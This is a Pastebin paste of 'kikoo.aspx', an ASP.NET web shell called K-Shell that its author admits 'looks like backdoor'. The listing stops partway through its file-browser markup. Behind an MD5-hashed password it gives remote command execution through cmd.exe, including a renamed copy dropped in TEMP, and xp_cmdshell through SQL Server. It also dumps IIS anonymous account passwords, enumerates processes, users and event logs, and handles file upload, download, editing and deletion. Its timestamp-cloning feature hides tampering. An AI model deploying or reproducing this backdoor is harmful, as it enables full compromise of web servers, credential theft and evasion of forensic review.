Advertisement
Guest User

kikoo.aspx

a guest
Mar 1st, 2010
1,020
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.87 KB | None | 0 0
  1. <%@ Page Language="VB" ContentType="text/html" validateRequest="false" aspcompat="true"%>
  2. <%@ Import Namespace="System.IO" %>
  3. <%@ import namespace="System.Diagnostics" %>
  4. <%@ import namespace="System.Threading" %>
  5. <%@ import namespace="System.Text" %>
  6. <%@ import namespace="System.Security.Cryptography" %>
  7. <script runat="server">
  8. Dim PASSWORD as string = "26d49f07ceebca39e994ca12a3b52f2d" 'Hash MD5 of password
  9. 'Here , change the default password "kikicoco" to yours
  10. '----------------------------------------------------------------------
  11. '----------------- K-Shell by kikicoco VHS -----------------
  12. '----------------- E-mail: [email protected] -----------------
  13. '----------------- http://blog.ajaxviet.com -----------------
  14. '----------------- http://vnsecurity.com -----------------
  15. '----------------- Version 1.0 -----------------
  16. '----------------- Build (20070226) -----------------
  17. '----------- This shell base on WebAdmin2.0(beta) By lake2 ------------
  18. '----------------------------------------------------------------------
  19. ' Description:
  20. ' 1. This program run on ASP.NET environment,control the web directory
  21. ' 2. It looks like backdoor , but I wish you like it .
  22. ' 3. If you have some words to me , please send me a Email
  23. ' 4. This is useful security test tool on windows. I hope that!
  24. '------------
  25. dim url,TEMP1,TEMP2,TITLE as string
  26. Function GetMD5(ByVal strPlain As String) As String
  27. Dim UE As UnicodeEncoding = New UnicodeEncoding
  28. Dim HashValue As Byte()
  29. Dim MessageBytes As Byte() = UE.GetBytes(strPlain)
  30. Dim md5 As MD5 = New MD5CryptoServiceProvider
  31. Dim strHex As String = ""
  32. HashValue = md5.ComputeHash(MessageBytes)
  33. For Each b As Byte In HashValue
  34. strHex += String.Format("{0:x2}", b)
  35. Next
  36. Return strHex
  37. End Function
  38. Sub Login_click(sender As Object, E As EventArgs)
  39. if GetMD5(Textbox.Text)=PASSWORD then
  40. session("kikicoco")=1
  41. session.Timeout=45
  42. else
  43. response.Write("<font color='red'>Your password is wrong! Maybe you press the ""Caps Lock"" buttom. Try again.</font><br>")
  44. end if
  45. End Sub
  46. 'Run w32 shell
  47. Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
  48. Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
  49.  
  50. Sub RunCmdW32(Src As Object, E As EventArgs)
  51. dim command
  52. dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
  53. dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  54. If Request.Form("txtCommand1") = "" Then
  55. command = "dir c:\"
  56. else
  57. command = Request.Form("txtCommand1")
  58. End If
  59. ExecuteCommand1(command,tempFile)
  60. OutputTempFile1(tempFile,fileObject)
  61. 'txtCommand1.text=""
  62. End Sub
  63. function ExecuteCommand1(command, tempFile)
  64. Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd, Target_copy_of_cmd
  65. Dim objStartup, objConfig, objProcess, errReturn, intProcessID, temp_name
  66. Dim FailIfExists
  67.  
  68. local_dir = left(request.servervariables("PATH_TRANSLATED"),inStrRev(request.servervariables("PATH_TRANSLATED"),"\"))
  69. local_copy_of_cmd = Local_dir+"cmd.exe"
  70. Target_copy_of_cmd = Environment.GetEnvironmentVariable("Temp")+"\smssa.exe"
  71. CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)
  72. errReturn = WinExec(Target_copy_of_cmd + " /c " + command + " > " + tempFile , 10)
  73. response.write(errReturn)
  74. thread.sleep(500)
  75. end function
  76. Sub OutputTempFile1(tempFile,oFileSys)
  77. On Error Resume Next
  78. dim oFile = oFileSys.OpenTextFile (tempFile, 1, False, 0)
  79. resultcmdw32.text=txtCommand1.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  80. oFile.Close
  81. Call oFileSys.DeleteFile(tempFile, True)
  82. End sub
  83. 'End w32 shell
  84. 'Run WSH shell
  85. Sub RunCmdWSH(Src As Object, E As EventArgs)
  86. dim command
  87. dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
  88. dim oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  89. dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  90. If Request.Form("txtcommand2") = "" Then
  91. command = "dir c:\"
  92. else
  93. command = Request.Form("txtcommand2")
  94. End If
  95. ExecuteCommand2(command,tempFile)
  96. OutputTempFile2(tempFile,fileObject)
  97. txtCommand2.text=""
  98. End Sub
  99. Function ExecuteCommand2(cmd_to_execute, tempFile)
  100. Dim oScript
  101. oScript = Server.CreateObject("WSCRIPT.SHELL")
  102. Call oScript.Run ("cmd.exe /c " & cmd_to_execute & " > " & tempFile, 0, True)
  103. End function
  104. Sub OutputTempFile2(tempFile,fileObject)
  105. On Error Resume Next
  106. dim oFile = fileObject.OpenTextFile (tempFile, 1, False, 0)
  107. resultcmdwsh.text=txtCommand2.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  108. oFile.Close
  109. Call fileObject.DeleteFile(tempFile, True)
  110. End sub
  111. 'End WSH shell
  112.  
  113. 'System infor
  114. Sub output_all_environment_variables(mode)
  115. Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
  116. Dim de As DictionaryEntry
  117. For Each de In environmentVariables
  118. if mode="HTML" then
  119. response.write("<b> " +de.Key + " </b>: " + de.Value + "<br>")
  120. else
  121. if mode="text"
  122. response.write(de.Key + ": " + de.Value + vbnewline+ vbnewline)
  123. end if
  124. end if
  125. Next
  126. End sub
  127. Sub output_all_Server_variables(mode)
  128. dim item
  129. for each item in request.servervariables
  130. if mode="HTML" then
  131. response.write("<b>" + item + "</b> : ")
  132. response.write(request.servervariables(item))
  133. response.write("<br>")
  134. else
  135. if mode="text"
  136. response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
  137. end if
  138. end if
  139. next
  140. End sub
  141. 'End sysinfor
  142.  
  143. 'Begin List processes
  144. Function output_wmi_function_data(Wmi_Function,Fields_to_Show)
  145. dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  146. dim fields_split, fields_item,i
  147.  
  148. 'on error resume next
  149.  
  150. table("0","","")
  151. Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  152.  
  153. winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  154. objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
  155.  
  156. fields_split = split(Fields_to_Show,",")
  157. for each item in objProcessInfo
  158. tr
  159. Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  160. if Ubound(Fields_split)>0 then
  161. for i = 1 to ubound(fields_split)
  162. Surround_by_TD(center_(item.properties_.item(fields_split(i)).value))
  163. next
  164. end if
  165. _tr
  166. next
  167. End function
  168. Function output_wmi_function_data_instances(Wmi_Function,Fields_to_Show,MaxCount)
  169. dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  170. dim fields_split, fields_item,i,count
  171. newline
  172. rw("Showing the first " + cstr(MaxCount) + " Entries")
  173. newline
  174. newline
  175. table("1","","")
  176. Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  177. _table
  178. winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  179. ' objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
  180. objProcessInfo = winObj.InstancesOf(Wmi_Function)
  181.  
  182. fields_split = split(Fields_to_Show,",")
  183. count = 0
  184. for each item in objProcessInfo
  185. count = Count + 1
  186. table("1","","")
  187. tr
  188. Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  189. if Ubound(Fields_split)>0 then
  190. for i = 1 to ubound(fields_split)
  191. Surround_by_TD(item.properties_.item(fields_split(i)).value)
  192. next
  193. end if
  194. _tr
  195. if count > MaxCount then exit for
  196. next
  197. End function
  198. 'End List processes
  199. 'Begin IIS_list_Anon_Name_Pass
  200. Sub IIS_list_Anon_Name_Pass()
  201. Dim IIsComputerObj, iFlags ,providerObj ,nodeObj ,item, IP
  202.  
  203. IIsComputerObj = CreateObject("WbemScripting.SWbemLocator") ' Create an instance of the IIsComputer object
  204. providerObj = IIsComputerObj.ConnectServer("127.0.0.1", "root/microsoftIISv2")
  205. nodeObj = providerObj.InstancesOf("IIsWebVirtualDirSetting") ' - IISwebServerSetting
  206.  
  207. Dim MaxCount = 20,Count = 0
  208. hr
  209. RW("only showing the first "+cstr(MaxCount) + " items")
  210. hr
  211. for each item in nodeObj
  212. response.write("<b>" + item.AppFriendlyName + " </b> - ")
  213. response.write("(" + item.AppPoolId + ") ")
  214.  
  215. response.write(item.AnonymousUserName + " : ")
  216. response.write(item.AnonymousUserPass)
  217.  
  218. response.write("<br>")
  219.  
  220. response.flush
  221. Count = Count +1
  222. If Count > MaxCount then exit for
  223. next
  224. hr
  225. End sub
  226. 'End IIS_list_Anon_Name_Pass
  227. Sub RunCMD(Src As Object, E As EventArgs)
  228. Try
  229. Dim kProcess As New Process()
  230. Dim kProcessStartInfo As New ProcessStartInfo("cmd.exe")
  231. kProcessStartInfo.UseShellExecute = False
  232. kProcessStartInfo.RedirectStandardOutput = true
  233. kProcess.StartInfo = kProcessStartInfo
  234. kProcessStartInfo.Arguments="/c " & Cmd.text
  235. kProcess.Start()
  236. Dim myStreamReader As StreamReader = kProcess.StandardOutput
  237. Dim myString As String = myStreamReader.Readtoend()
  238. kProcess.Close()
  239. result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
  240. Cmd.text=""
  241. Catch
  242. result.text="This function has disabled!"
  243. End Try
  244. End Sub
  245. Sub CloneTime(Src As Object, E As EventArgs)
  246. existdir(time1.Text)
  247. existdir(time2.Text)
  248. Dim thisfile As FileInfo =New FileInfo(time1.Text)
  249. Dim thatfile As FileInfo =New FileInfo(time2.Text)
  250. thisfile.LastWriteTime = thatfile.LastWriteTime
  251. thisfile.LastAccessTime = thatfile.LastAccessTime
  252. thisfile.CreationTime = thatfile.CreationTime
  253. response.Write("<font color=""red"">Clone Time Success!</font>")
  254. End Sub
  255. sub Editor(Src As Object, E As EventArgs)
  256. dim mywrite as new streamwriter(filepath.text,false,encoding.default)
  257. mywrite.write(content.text)
  258. mywrite.close
  259. response.Write("<script>alert('Edit|Creat " & replace(filepath.text,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(filepath.text)) &"'</sc" & "ript>")
  260. end sub
  261. Sub UpLoad(Src As Object, E As EventArgs)
  262. dim filename,loadpath as string
  263. filename=path.getfilename(UpFile.value)
  264. loadpath=request.QueryString("src") & filename
  265. if file.exists(loadpath)=true then
  266. response.Write("<script>alert('File " & replace(loadpath,"\","\\") & " have existed , upload fail!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(request.QueryString("src")) &"'</sc" & "ript>")
  267. response.End()
  268. end if
  269. UpFile.postedfile.saveas(loadpath)
  270. response.Write("<script>alert('File " & filename & " upload success!\nFile info:\n\nClient Path:" & replace(UpFile.value,"\","\\") & "\nFile Size:" & UpFile.postedfile.contentlength & " bytes\nSave Path:" & replace(loadpath,"\","\\") & "\n');")
  271. response.Write("location.href='" & request.ServerVariables("URL") & "?action=goto&src=" & server.UrlEncode(request.QueryString("src")) & "'</sc" & "ript>")
  272. End Sub
  273. Sub NewFD(Src As Object, E As EventArgs)
  274. url=request.form("src")
  275. if NewFile.Checked = True then
  276. dim mywrite as new streamwriter(url & NewName.Text,false,encoding.default)
  277. mywrite.close
  278. response.Redirect(request.ServerVariables("URL") & "?action=edit&src=" & server.UrlEncode(url & NewName.Text))
  279. else
  280. directory.createdirectory(url & NewName.Text)
  281. response.Write("<script>alert('Creat directory " & replace(url & NewName.Text ,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</sc" & "ript>")
  282. end if
  283. End Sub
  284. Sub del(a)
  285. if right(a,1)="\" then
  286. dim xdir as directoryinfo
  287. dim mydir as new DirectoryInfo(a)
  288. dim xfile as fileinfo
  289. for each xfile in mydir.getfiles()
  290. file.delete(a & xfile.name)
  291. next
  292. for each xdir in mydir.getdirectories()
  293. call del(a & xdir.name & "\")
  294. next
  295. directory.delete(a)
  296. else
  297. file.delete(a)
  298. end if
  299. End Sub
  300. Sub copydir(a,b)
  301. dim xdir as directoryinfo
  302. dim mydir as new DirectoryInfo(a)
  303. dim xfile as fileinfo
  304. for each xfile in mydir.getfiles()
  305. file.copy(a & "\" & xfile.name,b & xfile.name)
  306. next
  307. for each xdir in mydir.getdirectories()
  308. directory.createdirectory(b & path.getfilename(a & xdir.name))
  309. call copydir(a & xdir.name & "\",b & xdir.name & "\")
  310. next
  311. End Sub
  312. Sub xexistdir(temp,ow)
  313. if directory.exists(temp)=true or file.exists(temp)=true then
  314. if ow=0 then
  315. response.Redirect(request.ServerVariables("URL") & "?action=samename&src=" & server.UrlEncode(url))
  316. elseif ow=1 then
  317. del(temp)
  318. else
  319. dim d as string = session("cutboard")
  320. if right(d,1)="\" then
  321. TEMP1=url & second(now) & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  322. else
  323. TEMP2=url & second(now) & replace(path.getfilename(d),"","")
  324. end if
  325. end if
  326. end if
  327. End Sub
  328. Sub existdir(temp)
  329. if file.exists(temp)=false and directory.exists(temp)=false then
  330. response.Write("<script>alert('Don\'t exist " & replace(temp,"\","\\") &" ! Is it a CD-ROM ?');</sc" & "ript>")
  331. response.Write("<br><br><a href='javascript:history.back(1);'>Click Here Back</a>")
  332. response.End()
  333. end if
  334. End Sub
  335. Sub RunSQLCMD(Src As Object, E As EventArgs)
  336. Dim adoConn,strQuery,recResult,strResult
  337. if SqlName.Text<>"" then
  338. adoConn=Server.CreateObject("ADODB.Connection")
  339. adoConn.Open("Provider=SQLOLEDB.1;Password=" & SqlPass.Text & ";UID=" & SqlName.Text & ";Data Source = " & ip.Text)
  340. If Sqlcmd.Text<>"" Then
  341. strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
  342. recResult = adoConn.Execute(strQuery)
  343. If NOT recResult.EOF Then
  344. Do While NOT recResult.EOF
  345. strResult = strResult & chr(13) & recResult(0).value
  346. recResult.MoveNext
  347. Loop
  348. End if
  349. recResult = Nothing
  350. strResult = Replace(strResult," ","&nbsp;")
  351. strResult = Replace(strResult,"<","&lt;")
  352. strResult = Replace(strResult,">","&gt;")
  353. resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
  354. SqlCMD.Text=""
  355. End if
  356. adoConn.Close
  357. End if
  358. End Sub
  359. Function GetStartedTime(ms)
  360. GetStartedTime=cint(ms/(1000*60*60))
  361. End function
  362. Function getIP()
  363. Dim strIPAddr as string
  364. If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
  365. strIPAddr = Request.ServerVariables("REMOTE_ADDR")
  366. ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
  367. strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
  368. ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
  369. strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
  370. Else
  371. strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
  372. End If
  373. getIP = Trim(Mid(strIPAddr, 1, 30))
  374. End Function
  375. Function Getparentdir(nowdir)
  376. dim temp,k as integer
  377. temp=1
  378. k=0
  379. if len(nowdir)>4 then
  380. nowdir=left(nowdir,len(nowdir)-1)
  381. end if
  382. do while temp<>0
  383. k=temp+1
  384. temp=instr(temp,nowdir,"\")
  385. if temp =0 then
  386. exit do
  387. end if
  388. temp = temp+1
  389. loop
  390. if k<>2 then
  391. getparentdir=mid(nowdir,1,k-2)
  392. else
  393. getparentdir=nowdir
  394. end if
  395. End function
  396. Function Rename()
  397. url=request.QueryString("src")
  398. if file.exists(Getparentdir(url) & request.Form("name")) then
  399. rename=0
  400. else
  401. file.copy(url,Getparentdir(url) & request.Form("name"))
  402. del(url)
  403. rename=1
  404. end if
  405. End Function
  406. Function GetSize(temp)
  407. if temp < 1024 then
  408. GetSize=temp & " bytes"
  409. else
  410. if temp\1024 < 1024 then
  411. GetSize=temp\1024 & " KB"
  412. else
  413. if temp\1024\1024 < 1024 then
  414. GetSize=temp\1024\1024 & " MB"
  415. else
  416. GetSize=temp\1024\1024\1024 & " GB"
  417. end if
  418. end if
  419. end if
  420. End Function
  421. Sub downTheFile(thePath)
  422. dim stream
  423. stream=server.createObject("adodb.stream")
  424. stream.open
  425. stream.type=1
  426. stream.loadFromFile(thePath)
  427. response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
  428. response.addHeader("Content-Length",stream.Size)
  429. response.charset="UTF-8"
  430. response.contentType="application/octet-stream"
  431. response.binaryWrite(stream.read)
  432. response.flush
  433. stream.close
  434. stream=nothing
  435. response.End()
  436. End Sub
  437. 'H T M L S N I P P E T S
  438. public sub Newline
  439. response.write("<BR>")
  440. end sub
  441.  
  442. public sub TextNewline
  443. response.write(vbnewline)
  444. end sub
  445.  
  446. public sub rw(text_to_print) ' Response.write
  447. response.write(text_to_print)
  448. end sub
  449.  
  450. public sub rw_b(text_to_print)
  451. rw("<b>"+text_to_print+"</b>")
  452. end sub
  453.  
  454. public sub hr()
  455. rw("<hr>")
  456. end sub
  457.  
  458. public sub ul()
  459. rw("<ul>")
  460. end sub
  461.  
  462. public sub _ul()
  463. rw("</ul>")
  464. end sub
  465.  
  466. public sub table(border_size,width,height)
  467. rw("<table border='"+cstr(border_size)+"' width ='"+cstr(width)+"' height='"+cstr(height)+"'>")
  468. end sub
  469.  
  470. public sub _table()
  471. rw("</table>")
  472. end sub
  473.  
  474. public sub tr()
  475. rw("<tr>")
  476. end sub
  477.  
  478. public sub _tr()
  479. rw("</tr>")
  480. end sub
  481.  
  482. public sub td()
  483. rw("<td>")
  484. end sub
  485.  
  486. public sub _td()
  487. rw("</td>")
  488. end sub
  489.  
  490. public sub td_span(align,name,contents)
  491. rw("<td align="+align+"><span id='"+name+"'>"+ contents + "</span></td>")
  492. end sub
  493.  
  494. Public sub td_link(align,title,link,target)
  495. rw("<td align="+align+"><a href='"+link+"' target='"+target+"'>"+title+"</a></td>")
  496. end sub
  497.  
  498. Public sub link(title,link,target)
  499. rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  500. end sub
  501.  
  502. Public sub link_hr(title,link,target)
  503. rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  504. hr
  505. end sub
  506.  
  507. Public sub link_newline(title,link,target)
  508. rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  509. newline
  510. end sub
  511.  
  512. public sub empty_Cell(ColSpan)
  513. rw("<td colspan='"+cstr(colspan)+"'></td>")
  514. end sub
  515.  
  516. public sub empty_row(ColSpan)
  517. rw("<tr><td colspan='"+cstr(colspan)+"'></td></tr>")
  518. end sub
  519.  
  520. Public sub Create_table_row_with_supplied_colors(bgColor, fontColor, alignValue, rowItems)
  521. dim rowItem
  522.  
  523. rowItems = split(rowItems,",")
  524. response.write("<tr bgcolor="+bgcolor+">")
  525. for each rowItem in RowItems
  526. response.write("<td align="+alignValue+"><font color="+fontColor+"><b>"+rowItem +"<b></font></td>")
  527. next
  528. response.write("</tr>")
  529.  
  530. end sub
  531.  
  532. Public sub TR_TD(cellContents)
  533. response.write("<td>")
  534. response.write(cellContents)
  535. response.write("</td>")
  536. end sub
  537.  
  538.  
  539. Public sub Surround_by_TD(cellContents)
  540. response.write("<td>")
  541. response.write(cellContents)
  542. response.write("</td>")
  543. end sub
  544.  
  545. Public sub Surround_by_TD_and_Bold(cellContents)
  546. response.write("<td><b>")
  547. response.write(cellContents)
  548. response.write("</b></td>")
  549. end sub
  550.  
  551. Public sub Surround_by_TD_with_supplied_colors_and_bold(bgColor, fontColor, alignValue, cellContents)
  552. response.write("<td align="+alignValue+" bgcolor="+bgcolor+" ><font color="+fontColor+"><b>")
  553. response.write(cellContents)
  554. response.write("</b></font></td>")
  555. end sub
  556. Public sub Create_background_Div_table(title,main_cell_contents,top,left,width,height,z_index)
  557. response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  558. response.write(" <table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='100%' id='AutoNumber1' height='100%'>")
  559. response.write(" <tr heigth=20>")
  560. response.write(" <td bgcolor='black' align=center><font color='white'><b>"+ title +"</b></font></td>")
  561. response.write(" </tr>")
  562. response.write(" <tr>")
  563. response.write(" <td>"+main_Cell_contents+"</td>")
  564. response.write(" </tr>")
  565. response.write(" </table>")
  566. response.write("</div>")
  567. end sub
  568.  
  569. Public sub Create_Div_open(top,left,width,height,z_index)
  570. response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  571. end sub
  572.  
  573.  
  574. Public sub Create_Div_close()
  575. response.write("</div>")
  576. end sub
  577.  
  578. public sub Create_Iframe(left, top, width, height, name,src)
  579. rw("<span style='position: absolute; left: " + left+ "; top: " +top + "'>")
  580. rw(" <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  581. rw("</span>")
  582. end sub
  583.  
  584. public sub Create_Iframe_relative(width, height, name,src)
  585. rw(" <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  586. end sub
  587.  
  588. public sub return_100_percent_table()
  589. rw("<table border width='100%' height='100%'><tr><td>sdf</td></tr></table>")
  590. end sub
  591.  
  592. public sub font_size(size)
  593. rw("<font size="+size+">")
  594. end sub
  595.  
  596. public sub end_font()
  597. rw("</font>")
  598. end sub
  599.  
  600. public sub red(contents)
  601. rw("<font color=red>"+contents+"</font>")
  602. end sub
  603.  
  604. public sub yellow(contents)
  605. rw("<font color='#FF8800'>"+contents+"</font>")
  606. end sub
  607.  
  608. public sub green(contents)
  609. rw("<font color=green>"+contents+"</font>")
  610. end sub
  611. public sub print_var(var_name, var_value,var_description)
  612. if var_description<> "" Then
  613. rw(b_(var_name)+" : " + var_value + i_(" ("+var_description+")"))
  614. else
  615. rw(b_(var_name)+" : " + var_value)
  616. end if
  617. newline
  618. end sub
  619.  
  620. ' Functions
  621.  
  622. public function br_()
  623. br_ = "<br>"
  624. end function
  625.  
  626. public function b_(contents)
  627. b_ = "<b>"+ contents + "</b>"
  628. end function
  629.  
  630. public function i_(contents)
  631. i_ = "<i>"+ contents + "</i>"
  632. end function
  633.  
  634. public function li_(contents)
  635. li_ = "<li>"+ contents + "</li>"
  636. end function
  637.  
  638. public function h1_(contents)
  639. h1_ = "<h1>"+ contents + "</h1>"
  640. end function
  641.  
  642. public function h2_(contents)
  643. h2_ = "<h2>"+ contents + "</h2>"
  644. end function
  645.  
  646. public function h3_(contents)
  647. h3_ = "<h3>"+ contents + "</h3>"
  648. end function
  649.  
  650. public function big_(contents)
  651. big_ = "<big>"+ contents + "</big>"
  652. end function
  653.  
  654. public function center_(contents)
  655. center_ = "<center>"+ cstr(contents) + "</center>"
  656. end function
  657.  
  658.  
  659. public function td_force_width_(width)
  660. td_force_width_ = "<br><img src='' height=0 width=" + cstr(width) + " border=0>"
  661. end function
  662.  
  663.  
  664. public function red_(contents)
  665. red_ = "<font color=red>"+contents+"</font>"
  666. end function
  667.  
  668. public function yellow_(contents)
  669. yellow_ = "<font color='#FF8800'>"+contents+"</font>"
  670. end function
  671.  
  672. public function green_(contents)
  673. green_ = "<font color=green>"+contents+"</font>"
  674. end function
  675.  
  676. Public function link_(title,link,target)
  677. link_ = "<a href='"+link+"' target='"+target+"'>"+title+"</a>"
  678. end function
  679. 'End HTML SNIPPETS
  680. </script>
  681. <%
  682. if request.QueryString("action")="down" and session("kikicoco")=1 then
  683. downTheFile(request.QueryString("src"))
  684. response.End()
  685. end if
  686. Dim hu as string = request.QueryString("action")
  687. if hu="cmd" then
  688. TITLE="CMD.NET"
  689. elseif hu="cmdw32" then
  690. TITLE="ASP.NET W32 Shell"
  691. elseif hu="cmdwsh" then
  692. TITLE="ASP.NET WSH Shell"
  693. elseif hu="sqlrootkit" then
  694. TITLE="SqlRootKit.NET"
  695. elseif hu="clonetime" then
  696. TITLE="Clone Time"
  697. elseif hu="information" then
  698. TITLE="Web Server Info"
  699. elseif hu="goto" then
  700. TITLE="K-Shell 1.0"
  701. elseif hu="pro" then
  702. TITLE="List processes from server"
  703. elseif hu="user" then
  704. TITLE="List User Accounts"
  705. elseif hu="applog" then
  706. TITLE="List Application Event Log Entries"
  707. elseif hu="syslog" then
  708. TITLE="List System Event Log Entries"
  709. elseif hu="auser" then
  710. TITLE="IIS List Anonymous' User details"
  711. else
  712. TITLE=request.ServerVariables("HTTP_HOST")
  713. end if
  714. %>
  715. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  716. <html>
  717. <style type="text/css">
  718. body,td,th {
  719. color: #000000;
  720. font-family: Verdana;
  721. }
  722. body {
  723. background-color: #ffffff;
  724. font-size:12px;
  725. }
  726. .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
  727. .TextBox {border: 1px solid #084B8E}
  728. .style3 {color: #FF0000}
  729. </style>
  730. <head>
  731. <meta http-equiv="Content-Type" content="text/html">
  732. <title><%=TITLE%></title>
  733. </head>
  734. <body>
  735. <div align="center">K-Shell 1.0 By <a href="http://blog.ajaxviet.com" target="_blank" title="Welcome to my page:)">kikicoco</a> from Vietnam [<a href="http://vnsecurity.com" target="_blank">VHS</a>]</div>
  736. <hr>
  737. <%
  738. Dim error_x as Exception
  739. Try
  740. if session("kikicoco")<>1 then
  741. 'response.Write("<br>")
  742. 'response.Write("Hello , thank you for using my program !<br>")
  743. 'response.Write("This program is run at ASP.NET Environment and manage the web directory.<br>")
  744. 'response.Write("Maybe this program looks like a backdoor , but I wish you like it and don't hack :p<br><br>")
  745. 'response.Write("<span class=""style3"">Notice:</span> only click ""Login"" to login.")
  746. %>
  747. <form runat="server">
  748. Your Password:<asp:TextBox ID="TextBox" runat="server" TextMode="Password" class="TextBox" />
  749. <asp:Button ID="Button" runat="server" Text="Login" ToolTip="Click here to login" OnClick="login_click" class="buttom" />
  750. </form>
  751. <%
  752. else
  753. dim temp as string
  754. temp=request.QueryString("action")
  755. if temp="" then temp="goto"
  756. select case temp
  757. case "goto"
  758. if request.QueryString("src")<>"" then
  759. url=request.QueryString("src")
  760. else
  761. url=server.MapPath(".") & "\"
  762. end if
  763. call existdir(url)
  764. dim xdir as directoryinfo
  765. dim mydir as new DirectoryInfo(url)
  766. dim hupo as string
  767. dim xfile as fileinfo
  768. %>
  769. <table width="90%" border="0" align="center">
  770. <tr>
  771. <td>Currently Dir:</td> <td><font color=red><%=url%></font></td>
  772. </tr>
  773. <tr>
  774. <td width="13%">Operate:</td>
  775. <td width="87%"><a href="?action=new&src=<%=server.UrlEncode(url)%>" title="New file or directory">New</a> -
  776. <%if session("cutboard")<>"" then%>
  777. <a href="?action=plaster&src=<%=server.UrlEncode(url)%>" title="you can plaster">Paste</a> -
  778. <%else%>
  779. Paste -
  780. <%end if%>
  781. <a href="?action=upfile&src=<%=server.UrlEncode(url)%>" title="Upload file">UpLoad</a> - <a href="?action=goto&src=" & <%=server.MapPath(".")%> title="Go to this file's directory">GoBackDir </a> - <a href="?action=logout" title="Exit">Quit</a></td>
  782. </tr>
  783. <tr>
  784. <td>
  785. Go to: </td>
  786. <td>
  787. <%
  788. dim i as integer
  789. for i =0 to Directory.GetLogicalDrives().length-1
  790. response.Write("<a href='?action=goto&src=" & Directory.GetLogicalDrives(i) & "'>" & Directory.GetLogicalDrives(i) & " </a>")
  791. next
  792. %>
  793. </td>
  794. </tr>
  795.  
  796. <tr>
  797. <td>Tool:</td>
  798. <td><a href="?action=sqlrootkit" >SqlRootKit.NET </a> - <a href="?action=cmd" >CMD.NET</a> - <a href="?action=cmdw32" >kshellW32</a> - <a href="?action=cmdwsh" >kshellWSH</a> - <a href="?action=clonetime&src=<%=server.UrlEncode(url)%>" >CloneTime</a> - <a href="?action=information" >System Info</a> - <a href="?action=pro" >List Processes</a></td>
  799. </tr>
  800. <tr>
  801. <td> </td>
  802. <td><a href="?action=applog" >Application Event Log </a> - <a href="?action=user" >List User Accounts</a> - <a href="?action=syslog" >System Log</a> - <a href="?action=auser" >IIS List Anonymous' User details</a></td>
  803. </tr>
  804. </table>
  805. <hr>
  806. <table width="90%" border="0" align="center">
  807. <tr>
  808. <td width="40%"><strong>Name</strong></td>
  809. <td width="15%"><strong>Size</strong></td>
  810. <td width="20%"><strong>ModifyTime</strong></td>
  811. <td width="25%"><strong>Operate</strong></td>
  812. </tr>
  813. <tr>
  814. <td><%
